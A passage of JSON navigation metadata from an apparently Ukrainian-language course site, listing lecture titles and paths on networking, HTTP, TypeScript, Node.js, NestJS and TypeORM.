запитів","\u002Fclient-server-architecture\u002Flayered-architecture-and-middleware-pipelines","17.client-server-architecture\u002F10.layered-architecture-and-middleware-pipelines",{"title":3985,"path":3986,"stem":3987},"Лекція 11. Архітектура та маршрутизація фреймворку Gin","\u002Fclient-server-architecture\u002Fgin-framework-architecture-and-routing","17.client-server-architecture\u002F11.gin-framework-architecture-and-routing",{"title":3989,"path":3990,"stem":3991},"Лекція 12. Валідація даних, безпека та документування у Gin","\u002Fclient-server-architecture\u002Fdata-validation-security-and-documentation-in-gin","17.client-server-architecture\u002F12.data-validation-security-and-documentation-in-gin",{"title":3993,"path":3994,"stem":3995},"Лекція 13. Взаємодія з реляційними СУБД та технології ORM","\u002Fclient-server-architecture\u002Frelational-databases-and-orm","17.client-server-architecture\u002F13.relational-databases-and-orm",{"title":3997,"path":3998,"stem":3999},"Потокова передача даних та протокол WebSocket","\u002Fclient-server-architecture\u002Fstreaming-data-and-websockets","17.client-server-architecture\u002F14.streaming-data-and-websockets",{"title":4001,"path":4002,"stem":4003},"Міжсервісна взаємодія на основі протоколу gRPC","\u002Fclient-server-architecture\u002Fgrpc-inter-service-communication","17.client-server-architecture\u002F15.grpc-inter-service-communication",{"title":4005,"path":4006,"stem":4007},"Асинхронний обмін повідомленнями та протоколи черг","\u002Fclient-server-architecture\u002Fasynchronous-message-exchange-and-queue-protocols","17.client-server-architecture\u002F16.asynchronous-message-exchange-and-queue-protocols",{"title":4009,"path":4010,"stem":4011},"Протоколи потокового медіа та технологія WebRTC","\u002Fclient-server-architecture\u002Fstreaming-media-protocols-and-webrtc","17.client-server-architecture\u002F17.streaming-media-protocols-and-webrtc",{"title":4013,"path":4014,"stem":4015},"Моніторинг, безпека та контейнеризація застосунків","\u002Fclient-server-architecture\u002Fmonitoring-security-and-containerization","17.client-server-architecture\u002F18.monitoring-security-and-containerization",{"title":4017,"icon":2074,"path":4018,"stem":4019,"children":4020,"page":59},"Розробка WEB-застосувань","\u002Fweb-development","18.web-development",[4021,4066,4104,4133,4162,4219,4269,4363,4429,4511,4544,4572,4614,4660,4703],{"title":4022,"icon":658,"path":4023,"stem":4024,"children":4025,"page":59},"Архітектура комп'ютерних мереж та мережеві протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols","18.web-development\u002F01.network-architecture-and-protocols",[4026,4030,4034,4038,4042,4046,4050,4054,4058,4062],{"title":4027,"path":4028,"stem":4029},"Еволюція веброзробки та модель клієнт-сервер","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fweb-evolution-client-server","18.web-development\u002F01.network-architecture-and-protocols\u002F01.web-evolution-client-server",{"title":4031,"path":4032,"stem":4033},"Еталонна модель OSI","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fosi-model","18.web-development\u002F01.network-architecture-and-protocols\u002F02.osi-model",{"title":4035,"path":4036,"stem":4037},"Стек протоколів TCP\u002FIP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-ip-stack","18.web-development\u002F01.network-architecture-and-protocols\u002F03.tcp-ip-stack",{"title":4039,"path":4040,"stem":4041},"IP-адресація, порти та сокети","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fip-addressing-ports-sockets","18.web-development\u002F01.network-architecture-and-protocols\u002F04.ip-addressing-ports-sockets",{"title":4043,"path":4044,"stem":4045},"Протоколи TCP та UDP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-udp-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F05.tcp-udp-protocols",{"title":4047,"path":4048,"stem":4049},"Система доменних імен DNS","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fdns-system","18.web-development\u002F01.network-architecture-and-protocols\u002F06.dns-system",{"title":4051,"path":4052,"stem":4053},"Протокол SMTP та поштові протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fsmtp-email-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F07.smtp-email-protocols",{"title":4055,"path":4056,"stem":4057},"Протокол WebSocket","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fwebsocket-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F08.websocket-protocol",{"title":4059,"path":4060,"stem":4061},"Протокол SSH","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fssh-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F09.ssh-protocol",{"title":4063,"path":4064,"stem":4065},"Огляд сучасних серверних технологій","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fmodern-backend-technologies","18.web-development\u002F01.network-architecture-and-protocols\u002F10.modern-backend-technologies",{"title":4067,"icon":4068,"path":4069,"stem":4070,"children":4071,"page":59},"Протокол HTTP та захищена передача даних HTTPS","i-lucide-lock","\u002Fweb-development\u002Fhttp-and-https","18.web-development\u002F02.http-and-https",[4072,4076,4080,4084,4088,4092,4096,4100],{"title":4073,"path":4074,"stem":4075},"Вступ до протоколу HTTP та еволюція веб-технологій","\u002Fweb-development\u002Fhttp-and-https\u002Fintroduction-and-evolution","18.web-development\u002F02.http-and-https\u002F01.introduction-and-evolution",{"title":4077,"path":4078,"stem":4079},"Анатомія HTTP-запиту","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-request-structure","18.web-development\u002F02.http-and-https\u002F02.http-request-structure",{"title":4081,"path":4082,"stem":4083},"Анатомія HTTP-відповіді","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-response-structure","18.web-development\u002F02.http-and-https\u002F03.http-response-structure",{"title":4085,"path":4086,"stem":4087},"Методи HTTP та їхня семантика","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-methods","18.web-development\u002F02.http-and-https\u002F04.http-methods",{"title":4089,"path":4090,"stem":4091},"Коди статусу HTTP та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-status-codes","18.web-development\u002F02.http-and-https\u002F05.http-status-codes",{"title":4093,"path":4094,"stem":4095},"HTTP-заголовки та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-headers","18.web-development\u002F02.http-and-https\u002F06.http-headers",{"title":4097,"path":4098,"stem":4099},"CORS та механізми безпеки HTTP","\u002Fweb-development\u002Fhttp-and-https\u002Fcors-and-security","18.web-development\u002F02.http-and-https\u002F07.cors-and-security",{"title":4101,"path":4102,"stem":4103},"HTTPS та криптографічні основи TLS","\u002Fweb-development\u002Fhttp-and-https\u002Fhttps-and-tls","18.web-development\u002F02.http-and-https\u002F08.https-and-tls",{"title":4105,"icon":2454,"path":4106,"stem":4107,"children":4108,"page":59},"Система типів мови TypeScript","\u002Fweb-development\u002Ftypescript-type-system","18.web-development\u002F03.typescript-type-system",[4109,4113,4117,4121,4125,4129],{"title":4110,"path":4111,"stem":4112},"Знайомство з TypeScript Compiler","\u002Fweb-development\u002Ftypescript-type-system\u002Fintroduction-compiler-config","18.web-development\u002F03.typescript-type-system\u002F01.introduction-compiler-config",{"title":4114,"path":4115,"stem":4116},"Примітивні типи даних: string, number, boolean","\u002Fweb-development\u002Ftypescript-type-system\u002Fprimitive-special-types","18.web-development\u002F03.typescript-type-system\u002F02.primitive-special-types",{"title":4118,"path":4119,"stem":4120},"Масиви, кортежі та об","\u002Fweb-development\u002Ftypescript-type-system\u002Farrays-tuples-objects","18.web-development\u002F03.typescript-type-system\u002F03.arrays-tuples-objects",{"title":4122,"path":4123,"stem":4124},"Псевдоніми типів, Union типи, Intersection типи та літеральні типи","\u002Fweb-development\u002Ftypescript-type-system\u002Funion-intersection-literals","18.web-development\u002F03.typescript-type-system\u002F04.union-intersection-literals",{"title":4126,"path":4127,"stem":4128},"Type Narrowing (звуження типів)","\u002Fweb-development\u002Ftypescript-type-system\u002Ftype-narrowing","18.web-development\u002F03.typescript-type-system\u002F05.type-narrowing",{"title":4130,"path":4131,"stem":4132},"Типізація функцій","\u002Fweb-development\u002Ftypescript-type-system\u002Ffunctions-typing","18.web-development\u002F03.typescript-type-system\u002F06.functions-typing",{"title":4134,"icon":2454,"path":4135,"stem":4136,"children":4137,"page":59},"Розширені засоби мови TypeScript","\u002Fweb-development\u002Ftypescript-advanced","18.web-development\u002F04.typescript-advanced",[4138,4142,4146,4150,4154,4158],{"title":4139,"path":4140,"stem":4141},"Interfaces та Classes","\u002Fweb-development\u002Ftypescript-advanced\u002Finterfaces-classes","18.web-development\u002F04.typescript-advanced\u002F01.interfaces-classes",{"title":4143,"path":4144,"stem":4145},"Основи Generic типів","\u002Fweb-development\u002Ftypescript-advanced\u002Fgenerics-fundamentals","18.web-development\u002F04.typescript-advanced\u002F02.generics-fundamentals",{"title":4147,"path":4148,"stem":4149},"Enums та Decorators","\u002Fweb-development\u002Ftypescript-advanced\u002Fenums-decorators","18.web-development\u002F04.typescript-advanced\u002F03.enums-decorators",{"title":4151,"path":4152,"stem":4153},"Utility Types","\u002Fweb-development\u002Ftypescript-advanced\u002Futility-types","18.web-development\u002F04.typescript-advanced\u002F04.utility-types",{"title":4155,"path":4156,"stem":4157},"Mapped та Conditional Types","\u002Fweb-development\u002Ftypescript-advanced\u002Fmapped-conditional-types","18.web-development\u002F04.typescript-advanced\u002F05.mapped-conditional-types",{"title":4159,"path":4160,"stem":4161},"Модулі та Strict Mode","\u002Fweb-development\u002Ftypescript-advanced\u002Fmodules-strict-mode","18.web-development\u002F04.typescript-advanced\u002F06.modules-strict-mode",{"title":4163,"icon":4164,"path":4165,"stem":4166,"children":4167,"page":59},"Платформа Node.js як середовище виконання","i-devicon-nodejs","\u002Fweb-development\u002Fnodejs-platform","18.web-development\u002F05.nodejs-platform",[4168,4172,4176,4180,4184,4188,4192,4196,4200,4204,4208,4211,4215],{"title":4169,"path":4170,"stem":4171},"Що таке Node.js та його архітектура","\u002Fweb-development\u002Fnodejs-platform\u002Fwhat-is-nodejs","18.web-development\u002F05.nodejs-platform\u002F01.what-is-nodejs",{"title":4173,"path":4174,"stem":4175},"Event Loop — серце Node.js","\u002Fweb-development\u002Fnodejs-platform\u002Fevent-loop","18.web-development\u002F05.nodejs-platform\u002F02.event-loop",{"title":4177,"path":4178,"stem":4179},"Модульні системи: CommonJS vs ES Modules","\u002Fweb-development\u002Fnodejs-platform\u002Fmodule-systems","18.web-development\u002F05.nodejs-platform\u002F03.module-systems",{"title":4181,"path":4182,"stem":4183},"npm та package.json","\u002Fweb-development\u002Fnodejs-platform\u002Fnpm-package-json","18.web-development\u002F05.nodejs-platform\u002F04.npm-package-json",{"title":4185,"path":4186,"stem":4187},"Глобальні об\\","\u002Fweb-development\u002Fnodejs-platform\u002Fglobal-objects","18.web-development\u002F05.nodejs-platform\u002F05.global-objects",{"title":4189,"path":4190,"stem":4191},"Вбудований модуль fs (File System)","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-fs","18.web-development\u002F05.nodejs-platform\u002F06.built-in-modules-fs",{"title":4193,"path":4194,"stem":4195},"Вбудований модуль path","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-path","18.web-development\u002F05.nodejs-platform\u002F07.built-in-modules-path",{"title":4197,"path":4198,"stem":4199},"Вбудований модуль http","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-http","18.web-development\u002F05.nodejs-platform\u002F08.built-in-modules-http",{"title":4201,"path":4202,"stem":4203},"Streams — потоки даних у Node.js","\u002Fweb-development\u002Fnodejs-platform\u002Fstreams","18.web-development\u002F05.nodejs-platform\u002F09.streams",{"title":4205,"path":4206,"stem":4207},"Вбудований модуль util (Utilities)","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-util","18.web-development\u002F05.nodejs-platform\u002F10.built-in-modules-util",{"title":3097,"path":4209,"stem":4210},"\u002Fweb-development\u002Fnodejs-platform\u002Fenvironment-variables","18.web-development\u002F05.nodejs-platform\u002F11.environment-variables",{"title":4212,"path":4213,"stem":4214},"Інструменти налагодження та розробки","\u002Fweb-development\u002Fnodejs-platform\u002Fdebugging-tools","18.web-development\u002F05.nodejs-platform\u002F12.debugging-tools",{"title":4216,"path":4217,"stem":4218},"Продуктивність та Best Practices","\u002Fweb-development\u002Fnodejs-platform\u002Fperformance-best-practices","18.web-development\u002F05.nodejs-platform\u002F13.performance-best-practices",{"title":4220,"icon":4221,"path":4222,"stem":4223,"children":4224,"page":59},"Асинхронне програмування у Node.js","i-lucide-clock","\u002Fweb-development\u002Fasync-programming-nodejs","18.web-development\u002F06.async-programming-nodejs",[4225,4229,4233,4237,4241,4245,4249,4253,4257,4261,4265],{"title":4226,"path":4227,"stem":4228},"Синхронний vs асинхронний код","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fsync-vs-async","18.web-development\u002F06.async-programming-nodejs\u002F01.sync-vs-async",{"title":4230,"path":4231,"stem":4232},"Callbacks — перша парадигма асинхронності","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fcallbacks","18.web-development\u002F06.async-programming-nodejs\u002F02.callbacks",{"title":4234,"path":4235,"stem":4236},"Promises — стандарт асинхронності","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fpromises","18.web-development\u002F06.async-programming-nodejs\u002F03.promises",{"title":4238,"path":4239,"stem":4240},"Promise комбінатори","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fpromise-combinators","18.web-development\u002F06.async-programming-nodejs\u002F04.promise-combinators",{"title":4242,"path":4243,"stem":4244},"Async\u002FAwait — синтаксичний цукор над Promises","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fasync-await","18.web-development\u002F06.async-programming-nodejs\u002F05.async-await",{"title":4246,"path":4247,"stem":4248},"Паралельне vs послідовне виконання","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fparallel-vs-sequential","18.web-development\u002F06.async-programming-nodejs\u002F06.parallel-vs-sequential",{"title":4250,"path":4251,"stem":4252},"EventEmitter — подієва модель Node.js","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fevent-emitter","18.web-development\u002F06.async-programming-nodejs\u002F07.event-emitter",{"title":4254,"path":4255,"stem":4256},"Worker Threads — багатопотоковість у Node.js","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fworker-threads","18.web-development\u002F06.async-programming-nodejs\u002F08.worker-threads",{"title":4258,"path":4259,"stem":4260},"Child Processes — запуск зовнішніх процесів","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fchild-processes","18.web-development\u002F06.async-programming-nodejs\u002F09.child-processes",{"title":4262,"path":4263,"stem":4264},"Обробка помилок у асинхронному коді","\u002Fweb-development\u002Fasync-programming-nodejs\u002Ferror-handling","18.web-development\u002F06.async-programming-nodejs\u002F10.error-handling",{"title":4266,"path":4267,"stem":4268},"Порівняння Node.js фреймворків","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fnodejs-frameworks","18.web-development\u002F06.async-programming-nodejs\u002F11.nodejs-frameworks",{"title":4270,"icon":4271,"path":4272,"stem":4273,"children":4274,"page":59},"Тема 7. Фреймворк NestJS. Контролери та маршрутизація","i-lucide-route","\u002Fweb-development\u002Fnestjs-controllers-routing","18.web-development\u002F07.nestjs-controllers-routing",[4275,4279,4283,4287,4291,4295,4299,4303,4307,4311,4315,4319,4323,4327,4331,4335,4339,4343,4347,4351,4355,4359],{"title":4276,"path":4277,"stem":4278},"Філософія та архітектура NestJS","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-philosophy","18.web-development\u002F07.nestjs-controllers-routing\u002F01.nestjs-philosophy",{"title":4280,"path":4281,"stem":4282},"Три стовпи архітектури: модулі, контролери, провайдери","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fthree-pillars","18.web-development\u002F07.nestjs-controllers-routing\u002F02.three-pillars",{"title":4284,"path":4285,"stem":4286},"Інверсія керування (IoC) та ін","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fioc-and-di","18.web-development\u002F07.nestjs-controllers-routing\u002F03.ioc-and-di",{"title":4288,"path":4289,"stem":4290},"Встановлення NestJS CLI та створення проєкту","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-cli-setup","18.web-development\u002F07.nestjs-controllers-routing\u002F04.nestjs-cli-setup",{"title":4292,"path":4293,"stem":4294},"Структура проєкту NestJS та конвенції","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fproject-structure","18.web-development\u002F07.nestjs-controllers-routing\u002F05.project-structure",{"title":4296,"path":4297,"stem":4298},"Контролери: основи маршрутизації","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcontrollers-basics","18.web-development\u002F07.nestjs-controllers-routing\u002F06.controllers-basics",{"title":4300,"path":4301,"stem":4302},"Декоратори маршрутизації HTTP-методів","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Froute-decorators","18.web-development\u002F07.nestjs-controllers-routing\u002F07.route-decorators",{"title":4304,"path":4305,"stem":4306},"Параметри маршруту та декоратор @Param","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Froute-parameters","18.web-development\u002F07.nestjs-controllers-routing\u002F08.route-parameters",{"title":4308,"path":4309,"stem":4310},"Query-параметри та декоратор @Query","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fquery-parameters","18.web-development\u002F07.nestjs-controllers-routing\u002F09.query-parameters",{"title":4312,"path":4313,"stem":4314},"Тіло запиту та декоратор @Body","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Frequest-body","18.web-development\u002F07.nestjs-controllers-routing\u002F10.request-body",{"title":4316,"path":4317,"stem":4318},"Робота з заголовками запиту та відповіді","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fheaders-decorators","18.web-development\u002F07.nestjs-controllers-routing\u002F11.headers-decorators",{"title":4320,"path":4321,"stem":4322},"Data Transfer Objects (DTO): визначення та призначення","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fdto-introduction","18.web-development\u002F07.nestjs-controllers-routing\u002F12.dto-introduction",{"title":4324,"path":4325,"stem":4326},"Об'єкти Request та Response","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Frequest-response-objects","18.web-development\u002F07.nestjs-controllers-routing\u002F13.request-response-objects",{"title":4328,"path":4329,"stem":4330},"HTTP-статус коди та декоратор @HttpCode","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fhttp-status-codes","18.web-development\u002F07.nestjs-controllers-routing\u002F14.http-status-codes",{"title":4332,"path":4333,"stem":4334},"Перенаправлення (Redirects) та декоратор @Redirect","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fredirects","18.web-development\u002F07.nestjs-controllers-routing\u002F15.redirects",{"title":4336,"path":4337,"stem":4338},"Асинхронні обробники та Observables","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fasync-handlers","18.web-development\u002F07.nestjs-controllers-routing\u002F16.async-handlers",{"title":4340,"path":4341,"stem":4342},"Маршрутизація за піддоменами та версіонування API","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fsub-domain-routing","18.web-development\u002F07.nestjs-controllers-routing\u002F17.sub-domain-routing",{"title":4344,"path":4345,"stem":4346},"Області видимості контролерів (Scopes)","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcontroller-scopes","18.web-development\u002F07.nestjs-controllers-routing\u002F18.controller-scopes",{"title":4348,"path":4349,"stem":4350},"Основні команди NestJS CLI","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-cli-commands","18.web-development\u002F07.nestjs-controllers-routing\u002F19.nestjs-cli-commands",{"title":4352,"path":4353,"stem":4354},"Практичний приклад: створення CRUD-контролера","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcrud-example","18.web-development\u002F07.nestjs-controllers-routing\u002F20.crud-example",{"title":4356,"path":4357,"stem":4358},"Тестування контролерів","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Ftesting-controllers","18.web-development\u002F07.nestjs-controllers-routing\u002F21.testing-controllers",{"title":4360,"path":4361,"stem":4362},"Best Practices для контролерів та маршрутизації","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fbest-practices","18.web-development\u002F07.nestjs-controllers-routing\u002F22.best-practices",{"title":4364,"icon":4365,"path":4366,"stem":4367,"children":4368,"page":59},"Тема 8. Провайдери, сервіси та модульна система NestJS","i-lucide-package","\u002Fweb-development\u002Fnestjs-providers-modules","18.web-development\u002F08.nestjs-providers-modules",[4369,4373,4377,4381,4385,4389,4393,4397,4401,4405,4409,4413,4417,4421,4425],{"title":4370,"path":4371,"stem":4372},"Концепція провайдерів у NestJS","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fproviders-concept","18.web-development\u002F08.nestjs-providers-modules\u002F01.providers-concept",{"title":4374,"path":4375,"stem":4376},"Сервіси: інкапсуляція бізнес-логіки","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fservices-business-logic","18.web-development\u002F08.nestjs-providers-modules\u002F02.services-business-logic",{"title":4378,"path":4379,"stem":4380},"Практика ін","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fdependency-injection-practice","18.web-development\u002F08.nestjs-providers-modules\u002F03.dependency-injection-practice",{"title":4382,"path":4383,"stem":4384},"Custom Providers: useValue, useClass, useFactory, useExisting","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fcustom-providers","18.web-development\u002F08.nestjs-providers-modules\u002F04.custom-providers",{"title":4386,"path":4387,"stem":4388},"Injection Tokens: рядкові та символьні токени","\u002Fweb-development\u002Fnestjs-providers-modules\u002Finjection-tokens","18.web-development\u002F08.nestjs-providers-modules\u002F05.injection-tokens",{"title":4390,"path":4391,"stem":4392},"Опціональні провайдери та декоратор @Optional","\u002Fweb-development\u002Fnestjs-providers-modules\u002Foptional-providers","18.web-development\u002F08.nestjs-providers-modules\u002F07.optional-providers",{"title":4394,"path":4395,"stem":4396},"Структура модулів: imports, controllers, providers, exports","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fmodules-structure","18.web-development\u002F08.nestjs-providers-modules\u002F08.modules-structure",{"title":4398,"path":4399,"stem":4400},"Feature Modules: ізоляція функціональності","\u002Fweb-development\u002Fnestjs-providers-modules\u002Ffeature-modules","18.web-development\u002F08.nestjs-providers-modules\u002F09.feature-modules",{"title":4402,"path":4403,"stem":4404},"Shared Modules: перевикористання провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fshared-modules","18.web-development\u002F08.nestjs-providers-modules\u002F10.shared-modules",{"title":4406,"path":4407,"stem":4408},"Global Modules та декоратор @Global","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fglobal-modules","18.web-development\u002F08.nestjs-providers-modules\u002F11.global-modules",{"title":4410,"path":4411,"stem":4412},"Dynamic Modules: конфігурація під час виконання","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fdynamic-modules","18.web-development\u002F08.nestjs-providers-modules\u002F12.dynamic-modules",{"title":4414,"path":4415,"stem":4416},"Циклічні залежності та forwardRef","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fcircular-dependencies","18.web-development\u002F08.nestjs-providers-modules\u002F13.circular-dependencies",{"title":4418,"path":4419,"stem":4420},"Lifecycle Hooks: хуки життєвого циклу","\u002Fweb-development\u002Fnestjs-providers-modules\u002Flifecycle-hooks","18.web-development\u002F08.nestjs-providers-modules\u002F14.lifecycle-hooks",{"title":4422,"path":4423,"stem":4424},"ModuleRef: динамічний доступ до провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fmodule-reference","18.web-development\u002F08.nestjs-providers-modules\u002F15.module-reference",{"title":4426,"path":4427,"stem":4428},"Тестування сервісів та провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Ftesting-services","18.web-development\u002F08.nestjs-providers-modules\u002F16.testing-services",{"title":4430,"icon":4431,"path":4432,"stem":4433,"children":4434,"page":59},"Тема 9. Валідація даних та конвеєр обробки запитів у NestJS","i-lucide-filter","\u002Fweb-development\u002Fnestjs-validation-pipeline","18.web-development\u002F09.nestjs-validation-pipeline",[4435,4439,4443,4447,4451,4455,4459,4463,4467,4471,4475,4479,4483,4487,4491,4495,4499,4503,4507],{"title":4436,"path":4437,"stem":4438},"Request Pipeline: конвеєр обробки запитів","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Frequest-pipeline","18.web-development\u002F09.nestjs-validation-pipeline\u002F01.request-pipeline",{"title":4440,"path":4441,"stem":4442},"Pipes: концепція трансформації та валідації","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fpipes-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F02.pipes-concept",{"title":4444,"path":4445,"stem":4446},"Вбудовані pipes: ParseIntPipe, ParseBoolPipe, ParseUUIDPipe","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fbuilt-in-pipes","18.web-development\u002F09.nestjs-validation-pipeline\u002F03.built-in-pipes",{"title":4448,"path":4449,"stem":4450},"ValidationPipe: автоматична валідація DTO","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fvalidation-pipe","18.web-development\u002F09.nestjs-validation-pipeline\u002F04.validation-pipe",{"title":4452,"path":4453,"stem":4454},"Декоратори class-validator для DTO","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fclass-validator-decorators","18.web-development\u002F09.nestjs-validation-pipeline\u002F05.class-validator-decorators",{"title":4456,"path":4457,"stem":4458},"Створення кастомних валідаторів","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-validators","18.web-development\u002F09.nestjs-validation-pipeline\u002F06.custom-validators",{"title":4460,"path":4461,"stem":4462},"Створення власних Pipes","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-pipes","18.web-development\u002F09.nestjs-validation-pipeline\u002F07.custom-pipes",{"title":4464,"path":4465,"stem":4466},"Основи Middleware","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fmiddleware-basics","18.web-development\u002F09.nestjs-validation-pipeline\u002F08.middleware-basics",{"title":4468,"path":4469,"stem":4470},"Практичні приклади Middleware","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fmiddleware-examples","18.web-development\u002F09.nestjs-validation-pipeline\u002F09.middleware-examples",{"title":4472,"path":4473,"stem":4474},"Guards: захисні перехоплювачі доступу","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fguards-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F10.guards-concept",{"title":4476,"path":4477,"stem":4478},"Створення кастомних Guards","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-guards","18.web-development\u002F09.nestjs-validation-pipeline\u002F11.custom-guards",{"title":4480,"path":4481,"stem":4482},"Interceptors: перехоплення та трансформація відповідей","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Finterceptors-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F12.interceptors-concept",{"title":4484,"path":4485,"stem":4486},"Практичні приклади Interceptors","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Finterceptor-examples","18.web-development\u002F09.nestjs-validation-pipeline\u002F13.interceptor-examples",{"title":4488,"path":4489,"stem":4490},"Exception Filters: обробка виключень","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fexception-filters","18.web-development\u002F09.nestjs-validation-pipeline\u002F14.exception-filters",{"title":4492,"path":4493,"stem":4494},"Custom Exception Filters: спеціалізовані фільтри","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-exception-filters","18.web-development\u002F09.nestjs-validation-pipeline\u002F15.custom-exception-filters",{"title":4496,"path":4497,"stem":4498},"Execution Context: контекст виконання","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fexecution-context","18.web-development\u002F09.nestjs-validation-pipeline\u002F16.execution-context",{"title":4500,"path":4501,"stem":4502},"Custom Decorators: власні декоратори","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-decorators","18.web-development\u002F09.nestjs-validation-pipeline\u002F17.custom-decorators",{"title":4504,"path":4505,"stem":4506},"Global Components: глобальні компоненти","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fglobal-components","18.web-development\u002F09.nestjs-validation-pipeline\u002F18.global-components",{"title":4508,"path":4509,"stem":4510},"Pipeline Best Practices: найкращі практики","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fpipeline-best-practices","18.web-development\u002F09.nestjs-validation-pipeline\u002F19.pipeline-best-practices",{"title":4512,"icon":2821,"path":4513,"stem":4514,"children":4515,"page":59},"Інтеграція реляційних баз даних засобами TypeORM","\u002Fweb-development\u002Ftypeorm-integration","18.web-development\u002F10.typeorm-integration",[4516,4520,4524,4528,4532,4536,4540],{"title":4517,"path":4518,"stem":4519},"Робота з базами даних у Node.js через нативні драйвери","\u002Fweb-development\u002Ftypeorm-integration\u002F01-nodejs-database-drivers","18.web-development\u002F10.typeorm-integration\u002F01-nodejs-database-drivers",{"title":4521,"path":4522,"stem":4523},"ORM та знайомство з TypeORM","\u002Fweb-development\u002Ftypeorm-integration\u002F02-orm-and-typeorm-intro","18.web-development\u002F10.typeorm-integration\u002F02-orm-and-typeorm-intro",{"title":4525,"path":4526,"stem":4527},"Налаштування TypeORM у NestJS проєкті","\u002Fweb-development\u002Ftypeorm-integration\u002F03-typeorm-setup-nestjs","18.web-development\u002F10.typeorm-integration\u002F03-typeorm-setup-nestjs",{"title":4529,"path":4530,"stem":4531},"Entity класи та декоратори TypeORM","\u002Fweb-development\u002Ftypeorm-integration\u002F04-entities-and-decorators","18.web-development\u002F10.typeorm-integration\u002F04-entities-and-decorators",{"title":4533,"path":4534,"stem":4535},"Repository Pattern та CRUD операції","\u002Fweb-development\u002Ftypeorm-integration\u002F05-repository-pattern-crud","18.web-development\u002F10.typeorm-integration\u002F05-repository-pattern-crud",{"title":4537,"path":4538,"stem":4539},"Пагінація та фільтрація 